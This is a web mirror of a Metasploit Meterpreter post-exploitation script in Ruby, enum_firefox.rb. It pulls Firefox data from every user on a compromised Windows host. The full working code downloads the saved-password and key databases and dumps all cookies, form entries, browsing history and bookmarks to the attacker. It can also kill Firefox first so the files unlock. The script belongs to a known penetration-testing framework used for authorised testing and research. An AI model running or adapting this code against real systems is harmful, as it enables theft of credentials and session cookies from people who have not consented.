CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/scripts/meterpreter/enum_firefox.rb
Views: 11768
1
##
2
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
3
# If you'd like to improve this script, please try to port it as a post
4
# module instead. Thank you.
5
##
6
7
8
#
9
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
10
#-------------------------------------------------------------------------------
11
################## Variable Declarations ##################
12
require 'sqlite3'
13
@client = client
14
kill_frfx = false
15
host,port = session.session_host, session.session_port
16
# Create Filename info to be appended to downloaded files
17
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
18
19
# Create a directory for the logs
20
@logs = ::File.join(Msf::Config.config_directory, 'logs',"scripts", 'enum_firefox', host + filenameinfo )
21
22
# logfile name
23
logfile = @logs + "/" + host + filenameinfo + ".txt"
24
notusrs = [
25
"Default",
26
"Default User",
27
"Public",
28
"LocalService",
29
"NetworkService",
30
"All Users"
31
]
32
#-------------------------------------------------------------------------------
33
#Function for getting Firefox SQLite DB's
34
def frfxplacesget(path,usrnm)
35
# Create the log
36
::FileUtils.mkdir_p(@logs)
37
@client.fs.dir.foreach(path) {|x|
38
next if x =~ /^(\.|\.\.)$/
39
fullpath = path + '\\' + x
40
if @client.fs.file.stat(fullpath).directory?
41
frfxplacesget(fullpath,usrnm)
42
elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i
43
dst = x
44
dst = @logs + ::File::Separator + usrnm + dst
45
print_status("\tDownloading Firefox Database file #{x} to '#{dst}'")
46
@client.fs.file.download_file(dst, fullpath)
47
end
48
}
49
50
end
51
#-------------------------------------------------------------------------------
52
#Function for processing the Firefox sqlite DB's
53
def frfxdmp(usrnm)
54
sitesvisited = []
55
dnldsmade = []
56
bkmrks = []
57
cookies = []
58
formvals = ''
59
searches = ''
60
results = ''
61
placesdb = @logs + ::File::Separator + usrnm + "places.sqlite"
62
formdb = @logs + ::File::Separator + usrnm + "formhistory.sqlite"
63
searchdb = @logs + ::File::Separator + usrnm + "search.sqlite"
64
cookiesdb = @logs + ::File::Separator + usrnm + "cookies.sqlite"
65
bookmarks = @logs + ::File::Separator + usrnm + "_bookmarks.txt"
66
download_list = @logs + ::File::Separator + usrnm + "_download_list.txt"
67
url_history = @logs + ::File::Separator + usrnm + "_history.txt"
68
form_history = @logs + ::File::Separator + usrnm + "_form_history.txt"
69
search_history = @logs + ::File::Separator + usrnm + "_search_history.txt"
70
begin
71
print_status("\tGetting Firefox Bookmarks for #{usrnm}")
72
db = SQLite3::Database.new(placesdb)
73
#print_status("\tProcessing #{placesdb}")
74
75
db.execute('select a.url from moz_places a, moz_bookmarks b, '+
76
'moz_bookmarks_roots c where a.id=b.fk and parent=2'+
77
' and folder_id=2 and a.hidden=0') do |row|
78
bkmrks << row
79
end
80
print_status("\tSaving to #{bookmarks}")
81
if bkmrks.length != 0
82
bkmrks.each do |b|
83
file_local_write(bookmarks,"\t#{b.to_s}\n")
84
end
85
else
86
print_status("\tIt appears that there are no bookmarks for this account")
87
end
88
rescue::Exception => e
89
print_status("The following Error was encountered: #{e.class} #{e}")
90
end
91
#--------------------------------------------------------------------------
92
begin
93
print_status("\tGetting list of Downloads using Firefox made by #{usrnm}")
94
db.execute('SELECT url FROM moz_places, moz_historyvisits ' +
95
'WHERE moz_places.id = moz_historyvisits.place_id '+
96
'AND visit_type = "7" ORDER by visit_date') do |row|
97
dnldsmade << row
98
end
99
print_status("\tSaving Download list to #{download_list}")
100
if dnldsmade.length != 0
101
dnldsmade.each do |d|
102
file_local_write(download_list,"\t#{d.to_s} \n")
103
end
104
else
105
print_status("\tIt appears that downloads where cleared for this account")
106
end
107
rescue::Exception => e
108
print_status("The following Error was encountered: #{e.class} #{e}")
109
end
110
#--------------------------------------------------------------------------
111
begin
112
print_status("\tGetting Firefox URL History for #{usrnm}")
113
db.execute('SELECT DISTINCT url FROM moz_places, moz_historyvisits ' +
114
'WHERE moz_places.id = moz_historyvisits.place_id ' +
115
'AND visit_type = "1" ORDER by visit_date' ) do |row|
116
sitesvisited << row
117
end
118
print_status("\tSaving URL History to #{url_history}")
119
if sitesvisited.length != 0
120
sitesvisited.each do |s|
121
file_local_write(url_history,"\t#{s.to_s}\n")
122
end
123
else
124
print_status("\tIt appears that Browser History has been cleared")
125
end
126
db.close
127
rescue::Exception => e
128
print_status("The following Error was encountered: #{e.class} #{e}")
129
end
130
#--------------------------------------------------------------------------
131
begin
132
print_status("\tGetting Firefox Form History for #{usrnm}")
133
db = SQLite3::Database.new(formdb)
134
#print_status("\tProcessing #{formdb}")
135
db.execute("SELECT fieldname,value FROM moz_formhistory") do |row|
136
formvals << "\tField: #{row[0]} Value: #{row[1]}\n"
137
end
138
print_status("\tSaving Firefox Form History to #{form_history}")
139
if formvals.length != 0
140
file_local_write(form_history,formvals)
141
else
142
print_status("\tIt appears that Form History has been cleared")
143
end
144
db.close
145
rescue::Exception => e
146
print_status("The following Error was encountered: #{e.class} #{e}")
147
end
148
149
begin
150
print_status("\tGetting Firefox Search History for #{usrnm}")
151
db = SQLite3::Database.new(searchdb)
152
#print_status("\tProcessing #{searchdb}")
153
db.execute("SELECT name,value FROM engine_data") do |row|
154
searches << "\tField: #{row[0]} Value: #{row[1]}\n"
155
end
156
print_status("\tSaving Firefox Search History to #{search_history}")
157
if searches.length != 0
158
file_local_write(search_history,searches)
159
else
160
print_status("\tIt appears that Search History has been cleared")
161
end
162
db.close
163
rescue::Exception => e
164
print_status("The following Error was encountered: #{e.class} #{e}")
165
end
166
# Create Directory for dumping Firefox cookies
167
ckfldr = ::File.join(@logs,"firefoxcookies_#{usrnm}")
168
::FileUtils.mkdir_p(ckfldr)
169
db = SQLite3::Database.new(cookiesdb)
170
db.results_as_hash = true
171
print_status("\tGetting Firefox Cookies for #{usrnm}")
172
db.execute("SELECT * FROM moz_cookies;" ) do |item|
173
fd = ::File.new(ckfldr + ::File::Separator + item['id'].to_s + "_" + item['host'].to_s + ".txt", "w+")
174
fd.puts "Name: " + item['name'] + "\n"
175
fd.puts "Value: " + item['value'].to_s + "\n"
176
fd.puts "Host: " + item['host'] + "\n"
177
fd.puts "Path: " + item['path'] + "\n"
178
fd.puts "Expiry: " + item['expiry'].to_s + "\n"
179
fd.puts "lastAccessed: " + item['lastAccessed'].to_s + "\n"
180
fd.puts "isSecure: " + item['isSecure'].to_s + "\n"
181
fd.puts "isHttpOnly: " + item['isHttpOnly'].to_s + "\n"
182
fd.close
183
end
184
return results
185
end
186
#-------------------------------------------------------------------------------
187
#Function for getting password files
188
def frfxpswd(path,usrnm)
189
@client.fs.dir.foreach(path) {|x|
190
next if x =~ /^(\.|\.\.)$/
191
fullpath = path + '\\' + x
192
193
if @client.fs.file.stat(fullpath).directory?
194
frfxpswd(fullpath,usrnm)
195
elsif fullpath =~ /(cert8.db|signons.sqlite|signons3.txt|key3.db)/i
196
begin
197
dst = x
198
dst = @logs + ::File::Separator + usrnm + dst
199
print_status("\tDownloading Firefox Password file to '#{dst}'")
200
@client.fs.file.download_file(dst, fullpath)
201
rescue
202
print_error("\t******Failed to download file #{x}******")
203
print_error("\t******Browser could be running******")
204
end
205
end
206
}
207
208
end
209
#-------------------------------------------------------------------------------
210
# Function for checking if Firefox is installed
211
def frfxchk
212
found = false
213
registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall").each do |a|
214
if a =~ /Firefox/
215
print_status("Firefox was found on this system.")
216
found = true
217
end
218
end
219
return found
220
end
221
#-------------------------------------------------------------------------------
222
#Function for executing all pilfering actions for Firefox
223
def frfxpilfer(frfoxdbloc,session,logs,usrnm,logfile)
224
print_status("Getting Firefox information for user #{usrnm}")
225
frfxplacesget(frfoxdbloc,usrnm)
226
frfxpswd(frfoxdbloc,usrnm)
227
file_local_write(logfile,frfxdmp(usrnm))
228
end
229
230
# Function to kill Firefox if open
231
def kill_firefox
232
print_status("Killing the Firefox Process if open...")
233
@client.sys.process.get_processes().each do |x|
234
if x['name'].downcase == "firefox.exe"
235
print_status("\tFirefox Process found #{x['name']} #{x['pid']}")
236
print_status("\tKilling process .....")
237
session.sys.process.kill(x['pid'])
238
end
239
end
240
end
241
####################### Options ###########################
242
@@exec_opts = Rex::Parser::Arguments.new(
243
"-h" => [ false, "Help menu." ],
244
"-k" => [ false, "Kill Firefox processes before downloading databases for enumeration."]
245
246
)
247
@@exec_opts.parse(args) { |opt, idx, val|
248
case opt
249
when "-h"
250
print_line "Meterpreter Script for extracting Firefox Browser."
251
print_line(@@exec_opts.usage)
252
raise Rex::Script::Completed
253
when "-k"
254
kill_frfx = true
255
end
256
}
257
if client.platform == 'windows'
258
if frfxchk
259
user = @client.sys.config.getuid
260
if not is_system?
261
envs = @client.sys.config.getenvs('USERNAME', 'APPDATA')
262
usrname = envs['USERNAME']
263
db_path = envs['APPDATA'] + "\\Mozilla\\Firefox\\Profiles"
264
if kill_frfx
265
kill_firefox
266
end
267
print_status("Extracting Firefox data for user #{usrname}")
268
frfxpswd(db_path,usrname)
269
frfxplacesget(db_path,usrname)
270
frfxdmp(usrname)
271
else
272
registry_enumkeys("HKU").each do |sid|
273
if sid =~ /S-1-5-21-\d*-\d*-\d*-\d{4}$/
274
key_base = "HKU\\#{sid}"
275
usrname = Rex::FileUtils.clean_path(registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME"))
276
db_path = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") + "\\Mozilla\\Firefox\\Profiles"
277
if kill_frfx
278
kill_firefox
279
end
280
print_status("Extracting Firefox data for user #{usrname}")
281
frfxpswd(db_path,usrname)
282
frfxplacesget(db_path,usrname)
283
frfxdmp(usrname)
284
end
285
end
286
end
287
288
end
289
else
290
print_error("This version of Meterpreter is not supported with this Script!")
291
raise Rex::Script::Completed
292
end
293
294